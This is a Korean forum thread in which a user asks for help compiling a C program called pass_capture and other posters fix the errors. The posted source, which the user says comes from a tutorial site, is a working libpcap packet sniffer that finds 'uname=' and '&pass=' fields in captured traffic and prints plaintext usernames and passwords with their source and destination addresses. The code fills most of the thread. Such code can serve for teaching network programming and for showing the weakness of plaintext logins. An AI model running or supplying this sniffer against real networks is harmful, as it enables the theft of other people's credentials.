그리고 제가 잡을 수 있는 에러는 다 잡아봤습니다.^^;;
그런데 나머지 에러는 못잡겠더라구요 ㅠㅠ
[root@407 passcapture]# gcc -o pass_capture pass_capture.c
pass_capture.c: In function `callback':
pass_capture.c:59: parse error before '!' token
pass_capture.c: At top level:
pass_capture.c:78: parse error before '}' token
pass_capture.c: In function `main':
pass_capture.c:117: warning: assignment makes pointer from integer without a cast
pass_capture.c:121: warning: assignment makes pointer from integer without a cast
59, 78, 117, 121에서 나오는건 함수 원형하고 다 찾아가면서 확인해봤는데 맞는거 같은데 왜 자꾸 저렇게 나오는지 모르겠구요
위에서 말하는 pcap이나 libpcap은 같은 걸 말하는 거 같습니다.
위에서 말하는 pcap이나 libpcap은 같은 걸 말하는 거 같습니다..
일단 안되는 이유를 추측해보면..
설치하신 libpcap이 헤더 파일이 빠진 버젼일 수 있거나..
(데비안의 경우 libpcap 패키지는 헤더파일이 없고 libpcap-dev 같이 뒤에 dev가 붙은 패키지들은 헤더 파일이 포함된걸로 알고 있습니다.)
헤더를 참조하는 경로가 잘못되었을 수도 있습니다.
이 경우는 올바른 경로에 헤더파일을 위치시키던지..아니면 컴파일 시 -I 옵션으로 pcap.h의 경로를 명시해 주셔야할 듯 합니다.
Emerging the World!
감사드립니다.^^
앞으로 질문할때 os랑 기타 자세한 사항을 적어야 겠네요^^
레드햇 9.0 입니다^^
알려주신 방법으로 다시 해보고 결과 보고 하겠습니다.^^
경험으로 진리를 쌓아라!!
잘 안되서 다시 질문드립니다.^^
#include <sys/time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <pcap/pcap.h>
#define PROMISCUOUS 1
#define NONPROMISCUOUS 0
#define TCPHEADERSIZE 6*4
// IP 헤더 구조체
struct ip *iph;
// TCP 헤더 구조체
struct tcphdr *tcph;
// 패킷을 받아들일경우 이 함수를 호출한다.
// packet 가 받아들인 패킷이다.
void callback(u_char *useless, const struct pcap_pkthdr *pkthdr,
const u_char *packet)
{
struct ether_header *ep;
unsigned short ether_type;
char *uname = NULL;
char *pass = NULL;
char buf[80];
// 이더넷 헤더를 가져온다.
ep = (struct ether_header *)packet;
// IP 헤더를 가져오기 위해서
// 이더넷 헤더 크기만큼 offset 한다.
packet += sizeof(struct ether_header);
ether_type = ntohs(ep->ether_type);
// Network Layer 의 Protocol 타입을 알아낸다.
// 만약 IP 프로토콜을 사용한다면
// IP 정보를 얻어온다.
if (ether_type == ETHERTYPE_IP)
{
iph = (struct ip *)packet;
if (iph->ip_p == IPPROTO_TCP)
{
tcph = (struct tcp *)(packet + iph->ip_hl * 4);
}
memset(buf, 0x00, 80);
// 유저 데이타를 얻어오기 위해서
// IP, TCP, Ethernet 헤더 크기만큼 offset 한다.
packet += (iph->ip_hl * 4)+TCPHEADERSIZE+(sizeof(struct ether_header));
// 패킷에 ID와 password 관련 문자열을 포함하는지 확인한다.
if ( ((uname = strstr(packet, "uname=")) != NULL)
&& ((pass = strstr(packet, "&pass=")) != NULL))
{
// 헤더 정보를 출력한후
printf("HEADER INFO\n");
printf("Src Address : %s\n", inet_ntoa(iph->ip_src));
printf("Dst Address : %s\n", inet_ntoa(iph->ip_dst));
printf("Src Port : %d\n" , ntohs(tcph->source));
printf("Dst Port : %d\n" , ntohs(tcph->dest));
// 문자열에서 필요한 정보 즉 ID와 Password 만을
// 추출해 낸다.
strncpy(buf, uname+6, strstr(uname, "&") - (uname + 6));
printf("Uname : <%s>\n", buf);
memset(buf, 0x00, 80);
strncpy(buf, pass+6, strstr(pass+6, "&") - (pass + 6));
printf("Pass : <%s>\n", buf);
printf("======================\n\n");
}
}
}
int main(int argc, char **argv)
{
char *dev;
char *net;
char *mask;
bpf_u_int32 netp;
bpf_u_int32 maskp;
char errbuf[PCAP_ERRBUF_SIZE];
int ret;
struct pcap_pkthdr hdr;
struct in_addr net_addr, mask_addr;
struct bpf_program fp;
pcap_t *pcd; // packet capture descriptor
// 디바이스 이름을 얻어온다.
dev = pcap_lookupdev(errbuf);
if (dev == NULL)
{
printf("%s\n", errbuf);
exit(1);
}
printf("DEV : %s\n", dev);
// 디바이스에 대한 네트웍 정보를 얻어온다.
ret = pcap_lookupnet(dev, &netp, &maskp, errbuf);
if (ret == -1)
{
printf("%s\n", errbuf);
exit(1);
}
// 네트웍 정보를 사람이 보기 쉽도록
// 변환한다음 출력한다.
net_addr.s_addr = netp;
net = inet_ntoa(net_addr);
printf("NET : %s\n", net);
mask_addr.s_addr = maskp;
mask = inet_ntoa(mask_addr);
printf("MSK : %s\n", mask);
printf("=======================\n");
// 디바이스에 대한 packet capture descriptor
// 를 얻어온다.
pcd = pcap_open_live(dev, BUFSIZ, NONPROMISCUOUS, -1, errbuf);
if (pcd == NULL)
{
printf("%s\n", errbuf);
exit(1);
}
// 컴파일 옵션을 준다.
if (pcap_compile(pcd, &fp, argv[2], 0, netp) == -1)
{
printf("compile error\n");
exit(1);
}
// 컴파일 옵션대로 필터룰을 세팅한다.
if (pcap_setfilter(pcd, &fp) == -1)
{
printf("setfilter error\n");
exit(0);
}
// 지정된 횟수만큼 패킷캡쳐를 한다.
// pcap_setfilter 을 통과한 패킷에 대해서
// callback 함수를 호출한다.
pcap_loop(pcd, atoi(argv[1]), callback, NULL);
}
---------------------------------------------------------------------------------
위에 pcap.h를 못찾은게 위에서 보시듯이
#include<pcap/pcap.h>
로 되어 있어서 그랬던거 같습니다.^^;;
암튼 앞에 pcap를 지우니까 되더라구요^^
그리고 제가 잡을 수 있는 에러는 다 잡아봤습니다.^^;;
그런데 나머지 에러는 못잡겠더라구요 ㅠㅠ
[root@407 passcapture]# gcc -o pass_capture pass_capture.c
pass_capture.c: In function `callback':
pass_capture.c:59: parse error before '!' token
pass_capture.c: At top level:
pass_capture.c:78: parse error before '}' token
pass_capture.c: In function `main':
pass_capture.c:117: warning: assignment makes pointer from integer without a cast
pass_capture.c:121: warning: assignment makes pointer from integer without a cast
59, 78, 117, 121에서 나오는건 함수 원형하고 다 찾아가면서 확인해봤는데 맞는거 같은데 왜 자꾸 저렇게 나오는지 모르겠구요
나머지는 처음 보는거라서요 ^^;;
이거 원래 소스는
http://www.joinc.co.kr/modules/moniwiki/wiki.php/article_Pcap_%C6%D0%C5%B6%C4%B8%C3%C4%C0%C0%BF%EB
여기에 있던것입니다^^
살짝 좀 도와주세요^^
경험으로 진리를 쌓아라!!
일단 pcap 라이브러리를 이용할 때에는 컴파일 옵션에 -lpcap이 필
일단 pcap 라이브러리를 이용할 때에는 컴파일 옵션에 -lpcap이 필요합니다.
하지만 문제는 그게 아닌거 같군요.
전 해당 소스를 그대로 드래그해서 붙어넣기를 해서 컴파일해봤는데........
몇가지 캐스팅에 대한 워닝 뜨는것 제외하고 컴파일은 잘 되던데요.
------------------------------------------------------------
이 멍청이~! 나한테 이길 수 있다고 생각했었냐~?
광란의 귀공자 데코스 와이즈멜 님이라구~!
cast관련 문제가^^
위에 부분이거든요^^ casting 관련 오류가요^^
그런데 inet_ntoa함수의 원형을 보면요
char *inet_ntoa(struct in_addr in); 이거거든요 ^^
- inet_ntoa()는 in의 바이너리 인터넷 주소를 점박이 3형제 인터넷 주소로 변경한 다음 되돌려준다
근데 왜 casting 관련해서 문제가 나는거져?? ㅠㅠ
net과 mask는 char*이구요^^
실행은 되는데 warning뜨면 좀 찝찝한 감이 있어서여^^
경험으로 진리를 쌓아라!!
늦었지만 혹시모를 같은 버그 발생하신 분들께
저도 casting warning 만 뜨길래 casting문제인줄 알았는데
헤더
#include
를 안해줘서 inet_ntoa() 함수 호출에서 문제가 발생했었습니다.
혹시 같은 warning 뜨신분들은 헤더체크를 한 번 더 해보세요.
컴파일 단계에서는 casting warning 만 뜨지만
실행 단계에서는 Segment fault 가 나더군요.
아..빠짐
#include
arpa/inet.h
arpa/inet.h
댓글 달기